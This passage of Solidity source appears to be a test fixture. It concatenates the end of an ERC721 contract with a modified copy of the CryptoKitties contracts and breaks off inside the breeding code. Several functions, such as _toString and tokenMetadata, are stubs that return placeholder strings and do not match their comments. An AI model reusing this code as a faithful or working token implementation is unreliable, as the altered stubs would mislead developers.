* Reverts if the token does not exist. * @param tokenId uint256 ID of the token being burned */ function _burn(uint256 tokenId) internal { _burn(ownerOf(tokenId), tokenId); } /** * @dev Internal function to transfer ownership of a given token ID to another address. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * @param from current owner of the token * @param to address to receive the ownership of the given token ID * @param tokenId uint256 ID of the token to be transferred */ function _transferFrom(address from, address to, uint256 tokenId) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _clearApproval(tokenId); _ownedTokensCount[from].decrement(); _ownedTokensCount[to].increment(); _tokenOwner[tokenId] = to; emit NFTTransfer(from, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * This function is deprecated. * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } /** * @dev Private function to clear current approval of a given token ID. * @param tokenId uint256 ID of the token to be transferred */ function _clearApproval(uint256 tokenId) private { if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }/** * Submitted for verification at Etherscan.io on 2017-11-28 * @note: represents a non-standard ERC721 token that does not * implement safeTransferFrom */ pragma solidity 0.5.12; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // // Auction wrapper functions // Auction wrapper functions /// @title SEKRETOOOO contract GeneScienceInterface { /// @dev simply a boolean to indicate this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of kitten 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } /// @title A facet of KittyCore that manages special access privileges. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyAccessControl { // This facet controls access control for CryptoKitties. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the KittyCore constructor. // // - The CFO: The CFO can withdraw funds from KittyCore and its auction contracts. // // - The COO: The COO can release gen0 kitties to auction, and mint promo cats. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress ); _; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) external onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) external onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) external onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() external onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. /// @notice This is public rather than external so it can be called by /// derived contracts. function unpause() public onlyCEO whenPaused { // can't unpause if contract was upgraded paused = false; } } /// @title Base contract for CryptoKitties. Holds all common structs, events and base variables. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyBase is KittyAccessControl { /*** EVENTS ***/ /// @dev The Birth event is fired whenever a new kitten comes into existence. This obviously /// includes any time a cat is created through the giveBirth method, but it is also called /// when a new gen0 cat is created. event Birth(address owner, uint256 kittyId, uint256 matronId, uint256 sireId, uint256 genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a kitten /// ownership is assigned, including births. event Transfer(address from, address to, uint256 tokenId); /*** DATA TYPES ***/ /// @dev The main Kitty struct. Every cat in CryptoKitties is represented by a copy /// of this structure, so great care was taken to ensure that it fits neatly into /// exactly two 256-bit words. Note that the order of the members in this structure /// is important because of the byte-packing rules used by Ethereum. /// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html struct Kitty { // The Kitty's genetic code is packed into these 256-bits, the format is // sooper-sekret! A cat's genes never change. uint256 genes; // The timestamp from the block when this cat came into existence. uint64 birthTime; // The minimum timestamp after which this cat can engage in breeding // activities again. This same timestamp is used for the pregnancy // timer (for matrons) as well as the siring cooldown. uint64 cooldownEndBlock; // The ID of the parents of this kitty, set to 0 for gen0 cats. // Note that using 32-bit unsigned integers limits us to a "mere" // 4 billion cats. This number might seem small until you realize // that Ethereum currently has a limit of about 500 million // transactions per year! So, this definitely won't be a problem // for several years (even as Ethereum learns to scale). uint32 matronId; uint32 sireId; // Set to the ID of the sire cat for matrons that are pregnant, // zero otherwise. A non-zero value here is how we know a cat // is pregnant. Used to retrieve the genetic material for the new // kitten when the birth transpires. uint32 siringWithId; // Set to the index in the cooldown array (see below) that represents // the current cooldown duration for this Kitty. This starts at zero // for gen0 cats, and is initialized to floor(generation/2) for others. // Incremented by one for each successful breeding action, regardless // of whether this cat is acting as matron or sire. uint16 cooldownIndex; // The "generation number" of this cat. Cats minted by the CK contract // for sale are called "gen0" and have a generation number of 0. The // generation number of all other cats is the larger of the two generation // numbers of their parents, plus one. // (i.e. max(matron.generation, sire.generation) + 1) uint16 generation; } /*** CONSTANTS ***/ /// @dev A lookup table indicating the cooldown duration after any successful /// breeding action, called "pregnancy time" for matrons and "siring cooldown" /// for sires. Designed such that the cooldown roughly doubles each time a cat /// is bred, encouraging owners not to just keep breeding the same cat over /// and over again. Caps out at one week (a cat can breed an unbounded number /// of times, and the maximum cooldown is always seven days). uint32[14] public cooldowns = [ uint32(1 minutes), uint32(2 minutes), uint32(5 minutes), uint32(10 minutes), uint32(30 minutes), uint32(1 hours), uint32(2 hours), uint32(4 hours), uint32(8 hours), uint32(16 hours), uint32(1 days), uint32(2 days), uint32(4 days), uint32(7 days) ]; // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; /*** STORAGE ***/ /// @dev An array containing the Kitty struct for all Kitties in existence. The ID /// of each cat is actually an index into this array. Note that ID 0 is a negacat, /// the unKitty, the mythical beast that is the parent of all gen0 cats. A bizarre /// creature that is both matron and sire... to itself! Has an invalid genetic code. /// In other words, cat ID 0 is invalid... ;-) Kitty[] kitties; /// @dev A mapping from cat IDs to the address that owns them. All cats have /// some valid owner address, even gen0 cats are created with a non-zero owner. mapping (uint256 => address) public kittyIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from KittyIDs to an address that has been approved to call /// transferFrom(). Each Kitty can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public kittyIndexToApproved; /// @dev A mapping from KittyIDs to an address that has been approved to use /// this Kitty for siring via breedWith(). Each Kitty can only have one approved /// address for siring at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public sireAllowedToAddress; /// @dev The address of the ClockAuction contract that handles sales of Kitties. This /// same contract handles both peer-to-peer sales as well as the gen0 sales which are /// initiated every 15 minutes. SaleClockAuction public saleAuction; /// @dev The address of a custom ClockAuction subclassed contract that handles siring /// auctions. Needs to be separate from saleAuction because the actions taken on success /// after a sales and siring auction are quite different. SiringClockAuction public siringAuction; /// @dev Assigns ownership of a specific Kitty to an address. function _transfer(address _from, address _to, uint256 _tokenId) internal { // Since the number of kittens is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; // transfer ownership kittyIndexToOwner[_tokenId] = _to; // When creating new kittens _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // once the kitten is transferred also clear sire allowances delete sireAllowedToAddress[_tokenId]; // clear any previously approved ownership exchange delete kittyIndexToApproved[_tokenId]; } // Emit the transfer event. emit Transfer(_from, _to, _tokenId); } /// @dev An internal method that creates a new kitty and stores it. This /// method doesn't do any checking and should only be called when the /// input data is known to be valid. Will generate both a Birth event /// and a Transfer event. /// @param _matronId The kitty ID of the matron of this cat (zero for gen0) /// @param _sireId The kitty ID of the sire of this cat (zero for gen0) /// @param _generation The generation number of this cat, must be computed by caller. /// @param _genes The kitty's genetic code. /// @param _owner The inital owner of this cat, must be non-zero (except for the unKitty, ID 0) function _createKitty( uint256 _matronId, uint256 _sireId, uint256 _generation, uint256 _genes, address _owner ) internal returns (uint) { // These requires are not strictly necessary, our calling code should make // sure that these conditions are never broken. However! _createKitty() is already // an expensive call (for storage), and it doesn't hurt to be especially careful // to ensure our data structures are always valid. require(_matronId == uint256(uint32(_matronId))); require(_sireId == uint256(uint32(_sireId))); require(_generation == uint256(uint16(_generation))); // New kitty starts with the same cooldown as parent gen/2 uint16 cooldownIndex = uint16(_generation / 2); if (cooldownIndex > 13) { cooldownIndex = 13; } Kitty memory _kitty = Kitty({ genes: _genes, birthTime: uint64(now), cooldownEndBlock: 0, matronId: uint32(_matronId), sireId: uint32(_sireId), siringWithId: 0, cooldownIndex: cooldownIndex, generation: uint16(_generation) }); uint256 newKittenId = kitties.push(_kitty) - 1; // It's probably never going to happen, 4 billion cats is A LOT, but // let's just be 100% sure we never let this happen. require(newKittenId == uint256(uint32(newKittenId))); // emit the birth event emit Birth( _owner, newKittenId, uint256(_kitty.matronId), uint256(_kitty.sireId), _kitty.genes ); // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newKittenId); return newKittenId; } // Any C-level can fix how many seconds per blocks are currently observed. function setSecondsPerBlock(uint256 secs) external onlyCLevel { require(secs < cooldowns[0]); secondsPerBlock = secs; } } /// @title The external contract that is responsible for generating metadata for the kitties, /// it has one function that will return the data as bytes. contract ERC721Metadata { /// @dev Given a token Id, returns a byte array that is supposed to be converted into string. function getMetadata(uint256 _tokenId, string memory value) public view returns (bytes32[4] memory buffer, uint256 count) { if (_tokenId == 1) { buffer[0] = "Hello World! :D"; count = 15; } else if (_tokenId == 2) { buffer[0] = "I would definitely choose a medi"; buffer[1] = "um length string."; count = 49; } else if (_tokenId == 3) { buffer[0] = "Lorem ipsum dolor sit amet, mi e"; buffer[1] = "st accumsan dapibus augue lorem,"; buffer[2] = " tristique vestibulum id, libero"; buffer[3] = " suscipit varius sapien aliquam."; count = 128; } } } /// @title The facet of the CryptoKitties core contract that manages ownership, ERC-721 (draft) compliant. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev Ref: https://github.com/ethereum/EIPs/issues/721 /// See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyOwnership is KittyBase, ERC721 { /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant name = "CryptoKitties"; string public constant symbol = "CK"; // The contract that will return kitty metadata ERC721Metadata public erc721Metadata; bytes4 constant InterfaceSignature_ERC165 = bytes4(keccak256('supportsInterface(bytes4)')); bytes4 constant InterfaceSignature_ERC721 = bytes4(keccak256('name()')) ^ bytes4(keccak256('symbol()')) ^ bytes4(keccak256('totalSupply()')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('ownerOf(uint256)')) ^ bytes4(keccak256('approve(address,uint256)')) ^ bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('tokensOfOwner(address)')) ^ bytes4(keccak256('tokenMetadata(uint256,string)')); /// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165). /// Returns true for any standardized interfaces implemented by this contract. We implement /// ERC-165 (obviously!) and ERC-721. function supportsInterface(bytes4 _interfaceID) external view returns (bool) { // DEBUG ONLY //require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d)); return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721)); } /// @dev Set the address of the sibling contract that tracks metadata. /// CEO only. function setMetadataAddress(address _contractAddress) public onlyCEO { erc721Metadata = ERC721Metadata(_contractAddress); } // Internal utility functions: These functions all assume that their input arguments // are valid. We leave it to public methods to sanitize their inputs and follow // the required logic. /// @dev Checks if a given address is the current owner of a particular Kitty. /// @param _claimant the address we are validating against. /// @param _tokenId kitten id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return kittyIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular Kitty. /// @param _claimant the address we are confirming kitten is approved for. /// @param _tokenId kitten id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return kittyIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. This is intentional because /// _approve() and transferFrom() are used together for putting Kitties on auction, and /// there is no value in spamming the log with Approval events in that case. function _approve(uint256 _tokenId, address _approved) internal { kittyIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of Kitties owned by a specific address. /// @param _owner The owner address to check. /// @dev Required for ERC-721 compliance function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a Kitty to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// CryptoKitties specifically) or your Kitty may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the Kitty to transfer. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any kitties (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Disallow transfers to the auction contracts to prevent accidental // misuse. Auction contracts should only take ownership of kitties // through the allow + transferFrom flow. require(_to != address(saleAuction)); require(_to != address(siringAuction)); // You can only send your own cat. require(_owns(msg.sender, _tokenId)); // Reassign ownership, clear pending approvals, emit Transfer event. _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific Kitty via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Kitty that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) external whenNotPaused { // Only an owner can grant transfer approval. require(_owns(msg.sender, _tokenId)); // Register the approval (replacing any previous approval). _approve(_tokenId, _to); // Emit approval event. emit Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a Kitty owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the Kitty to be transfered. /// @param _to The address that should take ownership of the Kitty. Can be any address, /// including the caller. /// @param _tokenId The ID of the Kitty to be transferred. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) external whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. // The contract should never own any kitties (except very briefly // after a gen0 cat is created and before it goes on auction). require(_to != address(this)); // Check for approval and valid ownership require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, _to, _tokenId); } /// @notice Returns the total number of Kitties currently in existence. /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint) { return kitties.length - 1; } /// @notice Returns the address currently assigned ownership of a given Kitty. /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) external view returns (address owner) { owner = kittyIndexToOwner[_tokenId]; require(owner != address(0)); } /// @notice Returns a list of all Kitty IDs assigned to an address. /// @param _owner The owner whose Kitties we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Kitty array looking for cats belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) external view returns(uint256[] memory ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalCats = totalSupply(); uint256 resultIndex = 0; // We count on the fact that all cats have IDs starting at 1 and increasing // sequentially up to the totalCat count. uint256 catId; for (catId = 1; catId <= totalCats; catId++) { if (kittyIndexToOwner[catId] == _owner) { result[resultIndex] = catId; resultIndex++; } } return result; } } /// @dev Adapted from memcpy() by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _memcpy(uint _dest, uint _src, uint _len) private view { // Copy word-length chunks while possible for(; _len >= 32; _len -= 32) { assembly { mstore(_dest, mload(_src)) } _dest += 32; _src += 32; } // Copy remaining bytes uint256 mask = 256 ** (32 - _len) - 1; assembly { let srcpart := and(mload(_src), not(mask)) let destpart := and(mload(_dest), mask) mstore(_dest, or(destpart, srcpart)) } } /// @dev Adapted from toString(slice) by @arachnid (Nick Johnson <arachnid@notdot.net>) /// This method is licenced under the Apache License. /// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol function _toString(bytes32[4] storage _rawBytes, uint256 _stringLength) private view returns (string memory) { return 'string return'; } /// @notice Returns a URI pointing to a metadata package for this token conforming to /// ERC-721 (https://github.com/ethereum/EIPs/issues/721) /// @param _tokenId The ID number of the Kitty whose metadata should be returned. function tokenMetadata(uint256 _tokenId, string calldata _preferredTransport) external view returns (string memory infoUrl) { return 'infoUrl'; } } /// @title A facet of KittyCore that manages Kitty siring, gestation, and birth. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the KittyCore contract documentation to understand how the various contract facets are arranged. contract KittyBreeding is KittyOwnership { /// @dev The Pregnant event is fired when two cats successfully breed and the pregnancy /// timer begins for the matron. event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock); /// @notice The minimum payment required to use breedWithAuto(). This fee goes towards /// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by /// the COO role as the gas price changes. uint256 public autoBirthFee = 2 finney; // Keeps track of number of pregnant kitties. uint256 public pregnantKitties; /// @dev The address of the sibling contract that is used to implement the sooper-sekret /// genetic combination algorithm. GeneScienceInterface public geneScience; /// @dev Update the address of the genetic contract, can only be called by the CEO. /// @param _address An address of a GeneScience contract instance to be used from this point forward. function setGeneScienceAddress(address _address) external onlyCEO { GeneScienceInterface candidateContract = GeneScienceInterface(_address); // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117 require(candidateContract.isGeneScience()); // Set the new contract address geneScience = candidateContract; } /// @dev Checks that a given kitten is able to breed. Requires that the /// current cooldown is finished (for sires) and also checks that there is /// no pending pregnancy. function _isReadyToBreed(Kitty memory _kit) internal view returns (bool) { // In addition to checking the cooldownEndBlock, we also need to check to see if // the cat has a pending birth; there can be some period of time between the end // of the pregnacy timer and the birth event. return (_kit.siringWithId == 0) && (_kit.cooldownEndBlock <= uint64(block.number)); } /// @dev Check if a sire has authorized breeding with this matron. True if both sire /// and matron have the same owner, or if the sire has given siring permission to /// the matron's owner (via approveSiring()). function _isSiringPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) { address matronOwner = kittyIndexToOwner[_matronId]; address sireOwner = kittyIndexToOwner[_sireId]; // Siring is okay if they have same owner, or if the matron's owner was given // permission to breed with this sire. return (matronOwner == sireOwner || sireAllowedToAddress[_sireId] == matronOwner); } /// @dev Set the cooldownEndTime for the given Kitty, based on its current cooldownIndex. /// Also increments the cooldownIndex (unless it has hit the cap). /// @param _kitten A reference to the Kitty in storage which needs its timer started. function _triggerCooldown(Kitty storage _kitten) internal { // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex). _kitten.cooldownEndBlock = uint64((cooldowns[_kitten.cooldownIndex]/secondsPerBlock) + block.number); // Increment the breeding count, clamping it at 13, which is the length of the // cooldowns array. We could check the array size dynamically, but hard-coding // this as a constant saves gas. Yay, Solidity! if (_kitten.cooldownIndex < 13) { _kitten.cooldownIndex += 1; } } /// @notice Grants approval to another user to sire with one of your Kitties. /// @param _addr The address that will be able to sire with your Kitty. Set to /// address(0) to clear all siring approvals for this Kitty. /// @param _sireId A Kitty that you own that _addr will now be able to sire with. function approveSiring(address _addr, uint256 _sireId) external whenNotPaused { require(_owns(msg.sender, _sireId)); sireAllowedToAddress[_sireId] = _addr; } /// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only /// be called by the COO address. (This fee is used to offset the gas cost incurred /// by the autobirth daemon). function setAutoBirthFee(uint256 val) external onlyCOO { autoBirthFee = val; } /// @dev Checks to see if a given Kitty is pregnant and (if so) if the gestation /// period has passed. function _isReadyToGiveBirth(Kitty memory _matron) private view returns (bool) { return (_matron.siringWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number)); } /// @notice Checks that a given kitten is able to breed (i.e. it is not pregnant or /// in the middle of a siring cooldown). /// @param _kittyId reference the id of the kitten, any user can inquire about it function isReadyToBreed(uint256 _kittyId) public view returns (bool) { require(_kittyId > 0); Kitty storage kit = kitties[_kittyId]; return _isReadyToBreed(kit); } /// @dev Checks whether a kitty is currently pregnant. /// @param _kittyId reference the id of the kitten, any user can inquire about it function isPregnant(uint256 _kittyId) public view returns (bool) { require(_kittyId > 0); // A kitty is pregnant if and only if this field is set return kitties[_kittyId].siringWithId != 0; } /// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT /// check ownership permissions (that is up to the caller). /// @param _matron A reference to the Kitty struct of the potential matron. /// @param _matronId The matron's ID. /// @param _sire A reference to the Kitty struct of the potential sire. /// @param _sireId The sire's ID function _isValidMatingPair( Kitty storage _matron, uint256 _matronId, Kitty storage _sire, uint256 _sireId ) private view returns(bool) { // A Kitty can't breed with itself! if (_matronId == _sireId) { return false; } // Kitties can't breed with their parents. if (_matron.matronId == _sireId || _matron.sireId == _sireId) { return false; } if (_sire.matronId == _matronId || _sire.sireId == _matronId) { return false; } // We can short circuit the sibling check (below) if either cat is // gen zero (has a matron ID of zero). if (_sire.matronId == 0 || _matron.matronId == 0) { return true; } // Kitties can't breed with full or half siblings. if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) { return false; } if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) { return false; } // Everything seems cool! Let's get DTF. return true; } /// @dev Internal check to see if a given sire and matron are a valid mating pair for /// breeding via auction (i.e. skips ownership and siring approval checks). function _canBreedWithViaAuction(uint256 _matronId, uint256 _sireId) internal view returns (bool) { Kitty storage matron = kitties[_matronId]; Kitty storage sire = kitties[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId); } /// @notice Checks to see if two cats can breed together, including checks for /// ownership and siring approvals. Does NOT check that both cats are ready for /// breeding (i.e. breedWith could still fail until the cooldowns are finished). /// TODO: Shouldn't this check pregnancy and cooldowns?!? /// @param _matronId The ID of the proposed matron. /// @param _sireId The ID of the proposed sire. function canBreedWith(uint256 _matronId, uint256 _sireId) external view returns(bool) { require(_matronId > 0); require(_sireId > 0); Kitty storage matron = kitties[_matronId]; Kitty storage sire = kitties[_sireId]; return _isValidMatingPair(matron, _matronId, sire, _sireId) && _isSiringPermitted(_sireId, _matronId); } /// @dev Internal utility function to initiate breeding, assumes that all breeding /// requirements have been checked. function _breedWith(uint256 _matronId, uint256 _sireId) internal { // Grab a reference to the Kitties from storage. Kitty storage sire = kitties[_sireId]; Kitty storage matron = kitties[_matronId]; // Mark the matron as pregnant, keeping track of who the sire is. matron.siringWithId = uint32(_sireId); // Trigger the cooldown for both parents. _triggerCooldown(sire); _triggerCooldown(matron); // Clear siring permission for both parents. This may not be strictly necessary // but it's likely to avoid confusion! delete sireAllowedToAddress[_matronId]; delete sireAllowedToAddress[_sireId]; // Every time a kitty gets pregnant, counter is incremented. pregnantKitties++; // Emit the pregnancy event. emit Pregnant(kittyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock); } /// @notice Breed a Kitty you own (as matron) with a sire that you own, or for which you /// have previously been given Siring approval. Will either make your cat pregnant, or will /// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth() /// @param _matronId The ID of the Kitty acting as matron (will end up pregnant if successful) /// @param _sireId The ID of the Kitty acting as sire (will begin its siring cooldown if successful) function breedWithAuto(uint256 _matronId, uint256 _sireId) external payable whenNotPaused { // Checks for payment. require(msg.value >= autoBirthFee); // Caller must own the matron. require(_owns(msg.sender, _matronId)); // Neither sire nor matron are allowed to be on auction during a normal // breeding operation, but we don't need to check that explicitly. // For matron: The caller of this function can't be the owner of the matron // because the owner of a Kitty on auction is the auction house, and the // auction house will never call breedWith(). // For sire: Similarly, a sire on auction will be owned by the auction house // and the act of transferring ownership will have cleared any oustanding // siring approval. // Thus we don't need to spend gas explicitly checking to see if either cat // is on auction. // Check that matron and sire are both owned by caller, or that the sire // has given siring permission to caller (i.e. matron's owner). // Will fail for _sireId = 0 require(_isSiringPermitted(_sireId, _matronId)); // Grab a reference to the potential matron Kitty storage matron = kitties[_matronId]; // Make sure matron isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(matron)); // Grab a reference to the potential sire Kitty storage sire = kitties[_sireId]; // Make sure sire isn't pregnant, or in the middle of a siring cooldown require(_isReadyToBreed(sire)); // Test that these cats are a valid mating pair. require(_isValidMatingPair( matron, _matronId, sire, _sireId )); // All checks passed, kitty gets pregnant! _breedWith(_matronId, _sireId); } /// @notice Have a pregnant Kitty give birth! /// @param _matronId A Kitty ready to give birth. /// @return The Kitty ID of the new kitten. /// @dev Looks at a given Kitty and, if pregnant and if the gestation period has passed, /// combines the genes of the two parents to create a new kitten. The new Kitty is assigned /// to the current owner of the matron. Upon successful completion, both the matron and the /// new kitten will be ready to breed again. Note that anyone can call this function (if they /// are willing to pay the gas!), but the new kitten always goes to the mother's owner. function giveBirth(uint256 _matronId) external whenNotPaused returns(uint256) { // Grab a reference to the matron in storage. Kitty storage matron = kitties[_matronId]; // Check that the matron is a valid cat. require(matron.birthTime != 0); // Check that the matron is pregnant, and that its time has come! require(_isReadyToGiveBirth(matron)); // Grab a reference to the sire in storage. uint256 sireId = matron.siringWithId; Kitty storage sire = kitties[sireId]; // Determine the higher generation number of the two parents uint16 parentGen = matron.generation; if (sire.generation > matron.generation) { parentGen = sire.generation; } // Call the sooper-sekret gene mixing operation. uint256 childGenes = geneScience.mixGenes(matron.genes, sire.genes, matron.cooldownEndBlock - 1); // Make the new kitten! address owner = kittyIndexToOwner[_matronId]; uint256 kittenId = _createKitty(_matronId, matron.siringWithId, parentGen + 1, childGenes, owner); // Clear the reference to sire from the matron (REQUIRED! Having siringWithId // set is what marks a matron as being pregnant.) delete matron.siringWithId; // Every time a kitty gives birth counter is decremented. pregnantKitties--; 